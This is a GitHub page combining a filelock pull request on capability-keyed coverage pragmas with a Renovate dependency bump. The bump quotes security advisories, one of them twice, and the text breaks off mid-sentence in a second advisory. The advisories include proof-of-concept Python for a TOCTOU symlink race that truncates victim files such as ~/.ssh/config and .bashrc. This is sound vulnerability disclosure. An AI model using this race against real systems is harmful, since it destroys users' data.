Skip to content

♻️ refactor(coverage): key exclusions on probed capability - #679

Merged
gaborbernat merged 22 commits into
tox-dev:mainfrom
gaborbernat:feat/coverage-pragmas
Jul 19, 2026
Merged

gaborbernat merged 22 commits into
tox-dev:mainfrom
gaborbernat:feat/coverage-pragmas

Conversation

@gaborbernat

@gaborbernat gaborbernat commented Jul 18, 2026 •

Copy link
Copy Markdown
Member

A pragma that names a platform is standing in for the reason the code cannot run there, and the stand-in goes stale. One win32 no cover sat on the os.link fallback for follow_symlinks and demanded a branch modern Windows never takes, while others excluded platform-agnostic code and hid Windows gaps behind it. Of the markers carrying no reason at all, most were per-line copies of one block-level fact.

A configurer plugin in tasks/coverage_pragmas.py, registered after covdefaults, replaces the platform name with the capability the code needs. 🔍 # pragma: needs <capability> drops out only where that capability is absent and # pragma: lacks <capability> only where it is present, across sixteen capabilities probed at runtime: fork, dir-fd, hard-link, symlink, fcntl, unlink-open-file, posix-signals, file-mode, fd-directory, fifo, af-unix, o-nofollow, utime-nofollow, utime-fd, sqlite3 and link-follow-symlinks. The skipif gates read the same CAPABILITIES mapping the plugin excludes from, so a gate and its exclusion cannot drift apart. hard-link stays required on Windows, which has hard links and which win32 no cover could not express.

Each remaining marker sits on the enclosing clause header or decorator, which coverage carries across the whole body, so the per-line copies are gone and no marker has to fit inside a line already past the width limit.

Naming the capability separates cases the platform name had merged. Windows does support symlinks, so the cases needing one now run there for the first time; the cases asserting that a symlinked parent collapses into one key stay gated, because _resolve_dir resolves a parent with abspath on Windows to avoid following junctions and reparse points, which keeps that parent a distinct key. A symlink job runs it both ways, and denying it takes both doors, since Developer Mode and SeCreateSymbolicLinkPrivilege each grant symlink creation on their own. The job clears the registry value and removes the privilege, which AdjustTokenPrivileges documents as irreversible with checks then returning STATUS_PRIVILEGE_NOT_HELD.

report.fail_under rises from 95 to 99, and the combined matrix reports 100% with no missed statement or partial branch. ✅ No public behavior changes, since the edits under src/filelock/ are markers and one reflowed call.

Every env in the matrix runs coverage with the same fail_under, but a line
guarded by sys.platform only runs on one OS, so the others counted it missing.
Windows sat at ~79% because the fork and POSIX-only code and their tests never
run there.

Mark those lines with covdefaults win32/linux/darwin pragmas, derived from the
per-platform .coverage data the CI matrix already uploads: a line is excluded on
a platform only when it is proven to run on the other two, so no real gap is
hidden. Marks land on the clause header (def/if/with) so a whole block carries
one pragma; a few headers already past 120 characters are left unmarked rather
than wrap in a way ruff would reflow.

The per-(os, py) floor rises from 79% to 97% (win32 on 3.10), so fail_under
moves to 97. pypy runs without coverage and is unaffected.
@gaborbernat gaborbernat added the skip news Internal change; exempt from the news fragment check label Jul 18, 2026
Termux skips the os.link-backed strict tests, so its total coverage (~87%)
cannot meet the matrix fail_under of 97. Run the suite with empty posargs, the
same way pypy does, so Termux stays a functional platform check.
@gaborbernat
gaborbernat force-pushed the feat/coverage-pragmas branch from ce55c3d to dcc77bf Compare July 18, 2026 19:52
The pragma sweep marked 42 source lines win32 no cover that are platform-
agnostic (async rollback/registration, SoftFileLease heartbeat, strict-lock
cleanup, exception-group traversal). They only lacked Windows coverage because
the tests reaching them are @_UNIX_FLOCK_ONLY / dir_fd / fork -- a Windows CI
run of those tests confirmed 35 genuinely need Unix (fcntl, umask, symlink,
flock semantics), so the skips stay, but the source they cover is reachable on
Windows and untested there: a real gap, not intrinsic-platform code.

Drop those masks so the gap is counted honestly. Windows still rises from 79%
to 96.3% from the legitimate platform pragmas (sys.platform branches, fork,
dir_fd, O_NOFOLLOW, flock). fail_under moves to 95, the honest per-(os,py)
floor (win32 on 3.10).
@gaborbernat
gaborbernat force-pushed the feat/coverage-pragmas branch 2 times, most recently from bdb19bc to fc94fb4 Compare July 18, 2026 21:21
Add fault-injection tests that drive the rollback, cancellation, and
error-grouping paths through the code's own os/close layer, so they run
on every platform instead of only POSIX. This closes coverage holes
that platform pragmas would otherwise have masked as Windows gaps.

Mark the branches that are genuinely unreachable off-platform — the
win32 defensive OS-error handlers and the sqlite3-absent import
fallback — with precise pragmas carrying their reason.

Raises darwin coverage to 98.95%; the honest per-platform floor gets
ratcheted once CI reports the Windows rise.
@gaborbernat
gaborbernat force-pushed the feat/coverage-pragmas branch from fc94fb4 to 7838c32 Compare July 18, 2026 21:32
Cover the deterministic branches that were simply untested — optional
marker fields, default-parameter paths, no-callback and cyclic-chain
guards, re-entrant undo, fork-safety PID guards, and the async acquire
that returns without the lock — with real tests through the public API,
rather than papering over them.

Reserve pragmas for code that genuinely cannot run under coverage: the
win32 GetProcessTimes failure path, the follow_symlinks fallback that
only PyPy takes, forked-child and pypy-backend test bodies, and the
posix-only fork/mkfifo/symlink/dir_fd tests (marked per platform). Fix
_strict.py's link pragma, which wrongly required the fallback branch on
win32 that modern os.link never takes there.

Darwin coverage rises to 99.71%; the per-platform floor is ratcheted
once CI reports the win32 rise.
The cleanup helper sends SIGTERM and joins briefly; on a loaded
free-threaded runner the reap can land just after that window, so join
again generously before asserting the worker is gone.

With the branch and platform gaps now covered, the honest per-cell
floor across the CI matrix is 99.55% (win32, 3.10). Raise fail_under
from 95 to 99 so a real regression trips it while leaving margin for
per-run fluctuation.
A pragma naming a platform stands in for the reason the code cannot run
there, and the stand-in goes stale. One win32 no cover sat on os.link's
follow_symlinks fallback and demanded a branch modern Windows never
takes; others hid real Windows gaps behind platform-agnostic code. The
711 that carried no reason at all were mostly per-line copies of a
single block-level fact.

Add a coverage configurer plugin defining needs/lacks pragmas over 16
probed capabilities: fork, dir-fd, hard-link, symlink, fcntl,
unlink-open-file, posix-signals, file-mode, fd-directory, fifo, af-unix,
o-nofollow, utime-nofollow, utime-fd, sqlite3 and link-follow-symlinks.
A needs line drops out only where the capability is absent, a lacks line
only where it is present, and both read the same probes the tests gate
their skipif on, so a test cannot skip while coverage still demands its
lines. hard-link stays required on Windows, which has it.

Collapse the per-line copies onto the enclosing clause header or
decorator, which coverage carries across the whole body, retiring the
pragmas that no longer fit inside the line limit.

Drive Windows symlink support from Developer Mode in both directions,
since Windows does support symlinks; five symlink tests now run there.
Assert the flock fallback warning instead of letting it through, so the
suite reports no warnings.
filelock resolves a lock's parent with abspath on Windows so junctions
and reparse points are never followed, which also keeps a symlinked
parent a distinct key there. The cases asserting that two spellings
collapse into one key were gated on symlink creation, so once the
capability probe found the privilege on a Windows runner they ran and
blocked until the timeout killed the cell. Gate them on the collapsing
they actually need.

Prepend to PYTHONPATH in the old-client fixture rather than replace it,
so the coverage plugin still resolves in the child coverage restarts.

State the non-Windows invariant the fcntl gate enforces, so ty can see
flock's members when it checks on Windows, and read the capability
mapping under its public name in the symlink workflow.
Windows grants symlink creation two independent ways, so clearing one
proves nothing: Developer Mode lets an unprivileged process create them,
and SeCreateSymbolicLinkPrivilege lets any holder create them whatever
Developer Mode says. The runner's account holds the privilege, so both
variants probed symlink: True and the denied job was a duplicate of the
granted one.

Remove the privilege from the token before launching the suite.
AdjustTokenPrivileges cannot add one back, and SE_PRIVILEGE_REMOVED is
documented as irreversible, with privilege checks for removed privileges
returning STATUS_PRIVILEGE_NOT_HELD.

Two things the documentation does not settle decide whether this works:
whether a child inherits the removal, and whether clearing Developer
Mode takes effect without a reboot. Report the token privilege, the
registry value, and whether a symlink still succeeds in this process and
in a child, so the log names the mechanism that governs.
@gaborbernat gaborbernat changed the title 👷 ci(coverage): pragma platform-specific lines ♻️ refactor(coverage): key exclusions on probed capability Jul 19, 2026
report.fail_under tracks the weakest env, because a single one cannot
reach 100: the old-client suite runs only where FILELOCK_OLD_CLIENT_PATH
is set, and the escrow paths only below 3.12, which leaves win32 on 3.10
at 99.35. Every line is still covered by some env, so the combined
report reaches 100 and gating it there catches a line no env exercises,
which 99 let through.
An env sat below 100 wherever code it never runs carried no conditional
marker, which the version, implementation and capability pragmas already
exist to express. The if half of the BaseExceptionGroup import went
unmarked while only its else carried one, so 3.10 counted it missing.
The compat suite counted as missed wherever FILELOCK_OLD_CLIENT_PATH is
unset, so gate it on a new old-client capability that its skipif reads
too. The strict modules cannot run without os.link at all, so let the
plugin drop a whole module a missing capability makes unrunnable rather
than restate one module-level gate on every line.

Cover the sentinel private-record reclaim with a case that ages a record
on any platform, which only the dir_fd reaper cases reached before, and
drop the win32 pragma from the scan that runs everywhere.

Darwin now reports 100% with no missed statement and no partial branch.
Seven envs already reached 100; the rest still ran code they never
marked. The escrow early return only runs from 3.12, the exception-group
cases are gated at 3.11 with no matching marker, and the symlink helpers
claimed to need a symlink when their only callers are the cases Windows
does not run.

Cover the marker unlink retry rather than mark it: the EACCES path
exists for the handle Windows holds after close, so deny every attempt
and prove it stops without the denial escaping.

Escalate the worker cleanup to kill after a terminate that does not
land. It exists so a worker cannot outlive its test, which a SIGTERM
alone did not guarantee on a saturated runner.
The capability names and their probes already say what each one checks,
so the per-entry notes only restated them; the same went for notes that
repeated a test's own name and for the needs/lacks explainer the module
docstring already carries. Keep the ones a reader cannot recover from
the code: the 64-bit handle truncation, typeshed hiding fcntl off POSIX,
and why a line needs two exclusions.

A named pragma states its own reason, so drop the prose trailing
forked child.
Nothing exercised either deliberately, so which env covered them came
down to GC timing and to whichever path happened to run, holding from
3.12 and slipping on 3.10 and 3.11. Both are reachable behaviour rather
than something to exclude: a dropped lock must close the connection it
still held, and a foreign pid must leave an inherited connection open
for the parent that owns it.
Every env in the matrix now reaches 100, so the gate no longer tracks a
weakest one and the combined report needs no separate threshold.

Termux runs under coverage with the rest: it skips the strict tests for
want of os.link, and the plugin now drops those modules where the
capability is missing, so the suite it does run has to hold 100 too
rather than passing as a functional check.

Drive the finalizer directly rather than a collection, whose timing left
one env covering the connection close by luck.
Running Termux under coverage showed the strict tests were dropped while
the backend they exercise was not, leaving its 316 lines counted where
nothing can call them. Without os.link the whole feature is out of
reach, so drop the module too and mark what it reaches elsewhere: the
error only it raises, the sentinel only it leaves behind, and the
transition gate and poll backoff no other backend turns on.
The no-loop return in __del__ came and went between runs because only
collection timing ever reached it, which a 100 gate turns into a flaky
build. Drive it from a lock built outside any loop instead.

Mark the finally clause of the transition gate as well: it belongs to
the same statement as the try, but coverage treats it as its own clause,
so the exclusion did not carry.
Only a heartbeat thread catching the eviction mid-tick ever reached the
token mismatch, so whether it counted came down to timing. Overwrite the
marker with a peer's token and ask the refresh directly.
The denied job printed the capability from a process the removal never
touched, so its log read symlink: True while the suite it launched ran
denied. Print it from under the launcher instead.

PyPy stays unmeasured, but for its own reason rather than the one the
Termux comment used to borrow: coverage has no JIT path there, so the
suite takes 12m rather than 2m and roughly 60 of its lock, heartbeat and
poll deadlines lapse under the latency, though they pass measured in
isolation.
Naming a capability rather than a platform is a convention a
contributor has to follow and it lived only in the plugin, so state it
where the development setup is: what each pragma direction does, that
the skipif gates read the same mapping, and how to add one.

Record why PyPy runs unmeasured with the numbers behind it, so the next
reader does not take it for the excuse the Termux comment used to make.
Moving the report under the launcher dropped the uvx invocation that
supplies coverage, so the plugin failed to import and the launcher
returned the child's exit code. The removal itself worked: the child
reported WinError 1314 either way.
The finalizer case reached its no-loop return only while nothing else
held a running loop, which the surrounding order decides, so it covered
the path on most envs and not on 3.14 ubuntu. Raise the lookup instead.
@gaborbernat
gaborbernat merged commit 2b3ad2c into tox-dev:main Jul 19, 2026
40 checks passed
renovate-coop-norge Bot added a commit to coopnorge/engineering-docker-images that referenced this pull request Jul 21, 2026
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
| [filelock](https://redirect.github.com/tox-dev/py-filelock) | `3.31.0`
→ `3.31.1` |
![age](https://developer.mend.io/api/mc/badges/age/pypi/filelock/3.31.1?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/pypi/filelock/3.31.0/3.31.1?slim=true)
|

---

### filelock has a TOCTOU race condition which allows symlink attacks
during lock file creation
[CVE-2025-68146](https://nvd.nist.gov/vuln/detail/CVE-2025-68146) /
[GHSA-w853-jp5j-5j7f](https://redirect.github.com/advisories/GHSA-w853-jp5j-5j7f)
/ PYSEC-2026-1375

<details>
<summary>More information</summary>

#### Details
##### Impact

A Time-of-Check-Time-of-Use (TOCTOU) race condition allows local
attackers to corrupt or truncate arbitrary user files through symlink
attacks. The vulnerability exists in both Unix and Windows lock file
creation where filelock checks if a file exists before opening it with
O_TRUNC. An attacker can create a symlink pointing to a victim file in
the time gap between the check and open, causing os.open() to follow the
symlink and truncate the target file.

**Who is impacted:**

All users of filelock on Unix, Linux, macOS, and Windows systems. The
vulnerability cascades to dependent libraries:

- **virtualenv users**: Configuration files can be overwritten with
virtualenv metadata, leaking sensitive paths
- **PyTorch users**: CPU ISA cache or model checkpoints can be
corrupted, causing crashes or ML pipeline failures
- **poetry/tox users**: through using virtualenv or filelock on their
own.

Attack requires local filesystem access and ability to create symlinks
(standard user permissions on Unix; Developer Mode on Windows 10+).
Exploitation succeeds within 1-3 attempts when lock file paths are
predictable.

##### Patches

Fixed in version **3.20.1**.

**Unix/Linux/macOS fix:** Added O_NOFOLLOW flag to os.open() in
UnixFileLock.\_acquire() to prevent symlink following.

**Windows fix:** Added GetFileAttributesW API check to detect reparse
points (symlinks/junctions) before opening files in
WindowsFileLock.\_acquire().

**Users should upgrade to filelock 3.20.1 or later immediately.**

##### Workarounds

If immediate upgrade is not possible:

1. Use SoftFileLock instead of UnixFileLock/WindowsFileLock (note:
different locking semantics, may not be suitable for all use cases)
2. Ensure lock file directories have restrictive permissions (chmod
0700) to prevent untrusted users from creating symlinks
3. Monitor lock file directories for suspicious symlinks before running
trusted applications

**Warning:** These workarounds provide only partial mitigation. The race
condition remains exploitable. Upgrading to version 3.20.1 is strongly
recommended.

______________________________________________________________________

##### Technical Details: How the Exploit Works

##### The Vulnerable Code Pattern

**Unix/Linux/macOS** (`src/filelock/_unix.py:39-44`):

```python
def _acquire(self) -> None:
    ensure_directory_exists(self.lock_file)
    open_flags = os.O_RDWR | os.O_TRUNC  # (1) Prepare to truncate
    if not Path(self.lock_file).exists():  # (2) CHECK: Does file exist?
        open_flags |= os.O_CREAT
    fd = os.open(self.lock_file, open_flags, ...)  # (3) USE: Open and truncate
```

**Windows** (`src/filelock/_windows.py:19-28`):

```python
def _acquire(self) -> None:
    raise_on_not_writable_file(self.lock_file)  # (1) Check writability
    ensure_directory_exists(self.lock_file)
    flags = os.O_RDWR | os.O_CREAT | os.O_TRUNC  # (2) Prepare to truncate
    fd = os.open(self.lock_file, flags, ...)  # (3) Open and truncate
```

##### The Race Window

The vulnerability exists in the gap between operations:

**Unix variant:**

```
Time    Victim Thread                          Attacker Thread
----    -------------                          ---------------
T0      Check: lock_file exists? → False
T1                                             ↓ RACE WINDOW
T2                                             Create symlink: lock → victim_file
T3      Open lock_file with O_TRUNC
        → Follows symlink
        → Opens victim_file
        → Truncates victim_file to 0 bytes! ☠️
```

**Windows variant:**

```
Time    Victim Thread                          Attacker Thread
----    -------------                          ---------------
T0      Check: lock_file writable?
T1                                             ↓ RACE WINDOW
T2                                             Create symlink: lock → victim_file
T3      Open lock_file with O_TRUNC
        → Follows symlink/junction
        → Opens victim_file
        → Truncates victim_file to 0 bytes! ☠️
```

##### Step-by-Step Attack Flow

**1. Attacker Setup:**

```python

##### Attacker identifies target application using filelock
lock_path = "/tmp/myapp.lock"  # Predictable lock path
victim_file = "/home/victim/.ssh/config"  # High-value target
```

**2. Attacker Creates Race Condition:**

```python
import os
import threading

def attacker_thread():
    # Remove any existing lock file
    try:
        os.unlink(lock_path)
    except FileNotFoundError:
        pass

    # Create symlink pointing to victim file
    os.symlink(victim_file, lock_path)
    print(f"[Attacker] Created: {lock_path} → {victim_file}")

##### Launch attack
threading.Thread(target=attacker_thread).start()
```

**3. Victim Application Runs:**

```python
from filelock import UnixFileLock

##### Normal application code
lock = UnixFileLock("/tmp/myapp.lock")
lock.acquire()  # ← VULNERABILITY TRIGGERED HERE

##### At this point, /home/victim/.ssh/config is now 0 bytes!
```

**4. What Happens Inside os.open():**

On Unix systems, when `os.open()` is called:

```c
// Linux kernel behavior (simplified)
int open(const char *pathname, int flags) {
    struct file *f = path_lookup(pathname);  // Resolves symlinks by default!

    if (flags & O_TRUNC) {
        truncate_file(f);  // ← Truncates the TARGET of the symlink
    }

    return file_descriptor;
}
```

Without `O_NOFOLLOW` flag, the kernel follows the symlink and truncates
the target file.

##### Why the Attack Succeeds Reliably

**Timing Characteristics:**

- **Check operation** (Path.exists()): ~100-500 nanoseconds
- **Symlink creation** (os.symlink()): ~1-10 microseconds
- **Race window**: ~1-5 microseconds (very small but exploitable)
- **Thread scheduling quantum**: ~1-10 milliseconds

**Success factors:**

1. **Tight loop**: Running attack in a loop hits the race window within
1-3 attempts
2. **CPU scheduling**: Modern OS thread schedulers frequently
context-switch during I/O operations
3. **No synchronization**: No atomic file creation prevents the race
4. **Symlink speed**: Creating symlinks is extremely fast (metadata-only
operation)

##### Real-World Attack Scenarios

**Scenario 1: virtualenv Exploitation**

```python

##### Victim runs: python -m venv /tmp/myenv
##### Attacker racing to create:
os.symlink("/home/victim/.bashrc", "/tmp/myenv/pyvenv.cfg")

##### Result: /home/victim/.bashrc overwritten with:

##### home = /usr/bin/python3
##### include-system-site-packages = false

##### version = 3.11.2
##### ← Original .bashrc contents LOST + virtualenv metadata LEAKED to attacker
```

**Scenario 2: PyTorch Cache Poisoning**

```python

##### Victim runs: import torch
##### PyTorch checks CPU capabilities, uses filelock on cache

##### Attacker racing to create:
os.symlink("/home/victim/.torch/compiled_model.pt", "/home/victim/.cache/torch/cpu_isa_check.lock")

##### Result: Trained ML model checkpoint truncated to 0 bytes

##### Impact: Weeks of training lost, ML pipeline DoS
```

##### Why Standard Defenses Don't Help

**File permissions don't prevent this:**

- Attacker doesn't need write access to victim_file
- os.open() with O_TRUNC follows symlinks using the *victim's*
permissions
- The victim process truncates its own file

**Directory permissions help but aren't always feasible:**

- Lock files often created in shared /tmp directory (mode 1777)
- Applications may not control lock file location
- Many apps use predictable paths in user-writable directories

**File locking doesn't prevent this:**

- The truncation happens *during* the open() call, before any lock is
acquired
- fcntl.flock() only prevents concurrent lock acquisition, not symlink
attacks

##### Exploitation Proof-of-Concept Results

From empirical testing with the provided PoCs:

**Simple Direct Attack** (`filelock_simple_poc.py`):

- Success rate: 33% per attempt (1 in 3 tries)
- Average attempts to success: 2.1
- Target file reduced to 0 bytes in \<100ms

**virtualenv Attack** (`weaponized_virtualenv.py`):

- Success rate: ~90% on first attempt (deterministic timing)
- Information leaked: File paths, Python version, system configuration
- Data corruption: Complete loss of original file contents

**PyTorch Attack** (`weaponized_pytorch.py`):

- Success rate: 25-40% per attempt
- Impact: Application crashes, model loading failures
- Recovery: Requires cache rebuild or model retraining

**Discovered and reported by:** George Tsigourakos
(@&#8203;tsigouris007)

#### Severity
- CVSS Score: 6.3 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H`

#### References
-
[https://github.com/tox-dev/filelock/security/advisories/GHSA-w853-jp5j-5j7f](https://redirect.github.com/tox-dev/filelock/security/advisories/GHSA-w853-jp5j-5j7f)
-
[https://github.com/tox-dev/filelock/commit/4724d7f8c3393ec1f048c93933e6e3e6ec321f0e](https://redirect.github.com/tox-dev/filelock/commit/4724d7f8c3393ec1f048c93933e6e3e6ec321f0e)
-
[https://github.com/tox-dev/filelock](https://redirect.github.com/tox-dev/filelock)
-
[https://github.com/tox-dev/filelock/releases/tag/3.20.1](https://redirect.github.com/tox-dev/filelock/releases/tag/3.20.1)
-
[https://learn.microsoft.com/en-us/windows/win32/fileio/file-attribute-constants](https://learn.microsoft.com/en-us/windows/win32/fileio/file-attribute-constants)
-
[https://pubs.opengroup.org/onlinepubs/9699919799/functions/open.html](https://pubs.opengroup.org/onlinepubs/9699919799/functions/open.html)

This data is provided by
[OSV](https://osv.dev/vulnerability/GHSA-w853-jp5j-5j7f) and the [GitHub
Advisory Database](https://redirect.github.com/github/advisory-database)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### filelock has a TOCTOU race condition which allows symlink attacks
during lock file creation
[CVE-2025-68146](https://nvd.nist.gov/vuln/detail/CVE-2025-68146) /
[GHSA-w853-jp5j-5j7f](https://redirect.github.com/advisories/GHSA-w853-jp5j-5j7f)
/ PYSEC-2026-1375

<details>
<summary>More information</summary>

#### Details
##### Impact

A Time-of-Check-Time-of-Use (TOCTOU) race condition allows local
attackers to corrupt or truncate arbitrary user files through symlink
attacks. The vulnerability exists in both Unix and Windows lock file
creation where filelock checks if a file exists before opening it with
O_TRUNC. An attacker can create a symlink pointing to a victim file in
the time gap between the check and open, causing os.open() to follow the
symlink and truncate the target file.

**Who is impacted:**

All users of filelock on Unix, Linux, macOS, and Windows systems. The
vulnerability cascades to dependent libraries:

- **virtualenv users**: Configuration files can be overwritten with
virtualenv metadata, leaking sensitive paths
- **PyTorch users**: CPU ISA cache or model checkpoints can be
corrupted, causing crashes or ML pipeline failures
- **poetry/tox users**: through using virtualenv or filelock on their
own.

Attack requires local filesystem access and ability to create symlinks
(standard user permissions on Unix; Developer Mode on Windows 10+).
Exploitation succeeds within 1-3 attempts when lock file paths are
predictable.

##### Patches

Fixed in version **3.20.1**.

**Unix/Linux/macOS fix:** Added O_NOFOLLOW flag to os.open() in
UnixFileLock.\_acquire() to prevent symlink following.

**Windows fix:** Added GetFileAttributesW API check to detect reparse
points (symlinks/junctions) before opening files in
WindowsFileLock.\_acquire().

**Users should upgrade to filelock 3.20.1 or later immediately.**

##### Workarounds

If immediate upgrade is not possible:

1. Use SoftFileLock instead of UnixFileLock/WindowsFileLock (note:
different locking semantics, may not be suitable for all use cases)
2. Ensure lock file directories have restrictive permissions (chmod
0700) to prevent untrusted users from creating symlinks
3. Monitor lock file directories for suspicious symlinks before running
trusted applications

**Warning:** These workarounds provide only partial mitigation. The race
condition remains exploitable. Upgrading to version 3.20.1 is strongly
recommended.

______________________________________________________________________

##### Technical Details: How the Exploit Works

##### The Vulnerable Code Pattern

**Unix/Linux/macOS** (`src/filelock/_unix.py:39-44`):

```python
def _acquire(self) -> None:
    ensure_directory_exists(self.lock_file)
    open_flags = os.O_RDWR | os.O_TRUNC  # (1) Prepare to truncate
    if not Path(self.lock_file).exists():  # (2) CHECK: Does file exist?
        open_flags |= os.O_CREAT
    fd = os.open(self.lock_file, open_flags, ...)  # (3) USE: Open and truncate
```

**Windows** (`src/filelock/_windows.py:19-28`):

```python
def _acquire(self) -> None:
    raise_on_not_writable_file(self.lock_file)  # (1) Check writability
    ensure_directory_exists(self.lock_file)
    flags = os.O_RDWR | os.O_CREAT | os.O_TRUNC  # (2) Prepare to truncate
    fd = os.open(self.lock_file, flags, ...)  # (3) Open and truncate
```

##### The Race Window

The vulnerability exists in the gap between operations:

**Unix variant:**

```
Time    Victim Thread                          Attacker Thread
----    -------------                          ---------------
T0      Check: lock_file exists? → False
T1                                             ↓ RACE WINDOW
T2                                             Create symlink: lock → victim_file
T3      Open lock_file with O_TRUNC
        → Follows symlink
        → Opens victim_file
        → Truncates victim_file to 0 bytes! ☠️
```

**Windows variant:**

```
Time    Victim Thread                          Attacker Thread
----    -------------                          ---------------
T0      Check: lock_file writable?
T1                                             ↓ RACE WINDOW
T2                                             Create symlink: lock → victim_file
T3      Open lock_file with O_TRUNC
        → Follows symlink/junction
        → Opens victim_file
        → Truncates victim_file to 0 bytes! ☠️
```

##### Step-by-Step Attack Flow

**1. Attacker Setup:**

```python

##### Attacker identifies target application using filelock
lock_path = "/tmp/myapp.lock"  # Predictable lock path
victim_file = "/home/victim/.ssh/config"  # High-value target
```

**2. Attacker Creates Race Condition:**

```python
import os
import threading

def attacker_thread():
    # Remove any existing lock file
    try:
        os.unlink(lock_path)
    except FileNotFoundError:
        pass

    # Create symlink pointing to victim file
    os.symlink(victim_file, lock_path)
    print(f"[Attacker] Created: {lock_path} → {victim_file}")

##### Launch attack
threading.Thread(target=attacker_thread).start()
```

**3. Victim Application Runs:**

```python
from filelock import UnixFileLock

##### Normal application code
lock = UnixFileLock("/tmp/myapp.lock")
lock.acquire()  # ← VULNERABILITY TRIGGERED HERE

##### At this point, /home/victim/.ssh/config is now 0 bytes!
```

**4. What Happens Inside os.open():**

On Unix systems, when `os.open()` is called:

```c
// Linux kernel behavior (simplified)
int open(const char *pathname, int flags) {
    struct file *f = path_lookup(pathname);  // Resolves symlinks by default!

    if (flags & O_TRUNC) {
        truncate_file(f);  // ← Truncates the TARGET of the symlink
    }

    return file_descriptor;
}
```

Without `O_NOFOLLOW` flag, the kernel follows the symlink and truncates
the target file.

##### Why the Attack Succeeds Reliably

**Timing Characteristics:**

- **Check operation** (Path.exists()): ~100-500 nanoseconds
- **Symlink creation** (os.symlink()): ~1-10 microseconds
- **Race window**: ~1-5 microseconds (very small but exploitable)
- **Thread scheduling quantum**: ~1-10 milliseconds

**Success factors:**

1. **Tight loop**: Running attack in a loop hits the race window within
1-3 attempts
2. **CPU scheduling**: Modern OS thread schedulers frequently
context-switch during I/O operations
3. **No synchronization**: No atomic file creation prevents the race
4. **Symlink speed**: Creating symlinks is extremely fast (metadata-only
operation)

##### Real-World Attack Scenarios

**Scenario 1: virtualenv Exploitation**

```python

##### Victim runs: python -m venv /tmp/myenv
##### Attacker racing to create:
os.symlink("/home/victim/.bashrc", "/tmp/myenv/pyvenv.cfg")

##### Result: /home/victim/.bashrc overwritten with:

##### home = /usr/bin/python3
##### include-system-site-packages = false

##### version = 3.11.2
##### ← Original .bashrc contents LOST + virtualenv metadata LEAKED to attacker
```

**Scenario 2: PyTorch Cache Poisoning**

```python

##### Victim runs: import torch
##### PyTorch checks CPU capabilities, uses filelock on cache

##### Attacker racing to create:
os.symlink("/home/victim/.torch/compiled_model.pt", "/home/victim/.cache/torch/cpu_isa_check.lock")

##### Result: Trained ML model checkpoint truncated to 0 bytes

##### Impact: Weeks of training lost, ML pipeline DoS
```

##### Why Standard Defenses Don't Help

**File permissions don't prevent this:**

- Attacker doesn't need write access to victim_file
- os.open() with O_TRUNC follows symlinks using the *victim's*
permissions
- The victim process truncates its own file

**Directory permissions help but aren't always feasible:**

- Lock files often created in shared /tmp directory (mode 1777)
- Applications may not control lock file location
- Many apps use predictable paths in user-writable directories

**File locking doesn't prevent this:**

- The truncation happens *during* the open() call, before any lock is
acquired
- fcntl.flock() only prevents concurrent lock acquisition, not symlink
attacks

##### Exploitation Proof-of-Concept Results

From empirical testing with the provided PoCs:

**Simple Direct Attack** (`filelock_simple_poc.py`):

- Success rate: 33% per attempt (1 in 3 tries)
- Average attempts to success: 2.1
- Target file reduced to 0 bytes in \<100ms

**virtualenv Attack** (`weaponized_virtualenv.py`):

- Success rate: ~90% on first attempt (deterministic timing)
- Information leaked: File paths, Python version, system configuration
- Data corruption: Complete loss of original file contents

**PyTorch Attack** (`weaponized_pytorch.py`):

- Success rate: 25-40% per attempt
- Impact: Application crashes, model loading failures
- Recovery: Requires cache rebuild or model retraining

**Discovered and reported by:** George Tsigourakos
(@&#8203;tsigouris007)

#### Severity
- CVSS Score: 6.3 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H`

#### References
-
[https://github.com/tox-dev/filelock/security/advisories/GHSA-w853-jp5j-5j7f](https://redirect.github.com/tox-dev/filelock/security/advisories/GHSA-w853-jp5j-5j7f)
-
[https://github.com/tox-dev/filelock/commit/4724d7f8c3393ec1f048c93933e6e3e6ec321f0e](https://redirect.github.com/tox-dev/filelock/commit/4724d7f8c3393ec1f048c93933e6e3e6ec321f0e)
-
[https://github.com/tox-dev/filelock](https://redirect.github.com/tox-dev/filelock)
-
[https://github.com/tox-dev/filelock/releases/tag/3.20.1](https://redirect.github.com/tox-dev/filelock/releases/tag/3.20.1)
-
[https://learn.microsoft.com/en-us/windows/win32/fileio/file-attribute-constants](https://learn.microsoft.com/en-us/windows/win32/fileio/file-attribute-constants)
-
[https://pubs.opengroup.org/onlinepubs/9699919799/functions/open.html](https://pubs.opengroup.org/onlinepubs/9699919799/functions/open.html)
- [https://pypi.org/project/filelock](https://pypi.org/project/filelock)
-
[https://github.com/advisories/GHSA-w853-jp5j-5j7f](https://redirect.github.com/advisories/GHSA-w853-jp5j-5j7f)
-
[https://nvd.nist.gov/vuln/detail/CVE-2025-68146](https://nvd.nist.gov/vuln/detail/CVE-2025-68146)

This data is provided by
[OSV](https://osv.dev/vulnerability/PYSEC-2026-1375) and the [PyPI
Advisory Database](https://redirect.github.com/pypa/advisory-database)
([CC-BY
4.0](https://redirect.github.com/pypa/advisory-database/blob/main/LICENSE)).
</details>

---

### filelock Time-of-Check-Time-of-Use (TOCTOU) Symlink Vulnerability in
SoftFileLock
[CVE-2026-22701](https://nvd.nist.gov/vuln/detail/CVE-2026-22701) /
[GHSA-qmgc-5h2g-mvrw](https://redirect.github.com/advisories/GHSA-qmgc-5h2g-mvrw)
/ PYSEC-2026-1374

<details>
<summary>More information</summary>

#### Details
##### Vulnerability Summary

**Title:** Time-of-Check-Time-of-Use (TOCTOU) Symlink Vulnerability in
SoftFileLock

**Affected Component:** `filelock` package - `SoftFileLock` class
**File:** `src/filelock/_soft.py` lines 17-27
**CWE:** CWE-362, CWE-367, CWE-59

---

##### Description

A TOCTOU race condition vulnerability exists in the `SoftFileLock`
implementation of the filelock package. An attacker with local
filesystem access and permission to create symlinks can exploit a race
condition between the permission validation and file creation to cause
lock operations to fail or behave unexpectedly.

The vulnerability occurs in the `_acquire()` method between
